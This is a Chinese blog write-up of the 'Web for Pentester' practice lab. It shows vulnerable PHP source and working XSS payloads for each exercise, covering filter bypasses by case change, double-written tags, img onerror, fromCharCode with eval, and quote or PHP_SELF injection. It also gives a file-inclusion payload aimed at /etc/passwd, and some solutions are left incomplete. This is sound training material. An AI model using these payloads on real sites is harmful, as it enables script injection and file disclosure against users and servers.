web for pentester 靶场
web for pentester 是一个常见的web漏洞练习平台
xss-跨站脚本
example1
题目源码
<?php require_once '../header.php'; ?>
<html>
Hello
<?php
echo $_GET["name"];
?>
<?php require_once '../footer.php'; ?>
分析
仅仅用了get获取传入内容没有任何过滤,直接传入payload即可
题解
payload:name=<script>alert(1)</script>
example2
题目源码
<?php require_once '../header.php'; ?>
Hello
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>
分析
代码过滤了<script>和</script>,可以考虑用大写绕过
题解
payload:name=<Script>alert(1)</Script>
example3
题目源码
<?php require_once '../header.php'; ?>
Hello
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>
分析
代码使用i来过滤大写
1、考虑传入<a>标签,构造一个链接点击完成xss;
2、考虑双写绕过
题解
1、payload: name=<a onclick=javascript:alert(1)>点我</a>
2、payload: name=<s<script>cript>alert(1)</</script>script>
example4
题目源码
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
分析
代码匹配到script任意形式都会导致程序终止,故考虑选择<img>标签触发onerror事件
题解
payload: name=<img src=x onerror=alert(1)>
example5
题目源码
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?
分析
代码过滤了alert的大小写,可以选择别的方式来发出弹窗
1、选择confirm(1)
2、选择prompt(1)
3、利用 String.fromCharCode()
编码来绕过,alert(1)编码后变为:String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)
题解
1、payload: name=<script>confirm(1)</script>
2、payload: name=<script>prompt(1)</script>
3、payload: name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
example6
题目源码
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>
分析
代码通过get方法获得name值,然后直接放到script标签里,考虑闭合"
题解
1、payload: name=";alert(1);"
2、payload: name=";alert(1);//
example7
题目源码
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
<?php require_once '../footer.php'; ?>
分析
代码是通过 htmlentities()
函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()
会将双引号 "
特殊编码,但是却它不编码单引号'
,恰巧这里是通过单引号'
给 a 变量赋值的,所以依然可以通过闭合单引号'
来弹窗。
题解
1、payload: name=';alert(1);'
2、payload: name=';alert(1);//
example8
题目源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<?php
require_once '../footer.php';
?>
分析
name 变量通过 form 表单以 POST 方式传入,然后通过 htmlentities
函数是实体化后输出来,这次通过 POST 方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
,用户依然可以控制参数 PHP_SELF,并且这里没有过滤直接输入到了 form
标签中,所以这里通过闭合依然可以 XSS.
-
- 'PHP_SELF'
- 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /foo/bar.php。
题解
1、payload: example8.php/"><script>alert(1)</script>//
2、payload: example8.php/" onclick=alert(1)//
example9
题目源码
<?php require_once '../header.php'; ?>
<script>
document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>
分析
题解
参考:https://www.sqlsec.com/2020/05/pentesterlab.html
file_include 文件包含
example1
题目源码
分析
代码没有进行传入文件的过滤,可以直接读取
题解
payloadpage=/etc/passw
example2
题目源码
分析
代码进行传入文件的过滤,用%00匹配截取
题解
版权声明:
作者:godlong
链接:http://godlong.store/index.php/2024/03/21/web-for-pentester/
来源:godlong
文章版权归作者所有,未经允许请勿转载。
共有 0 条评论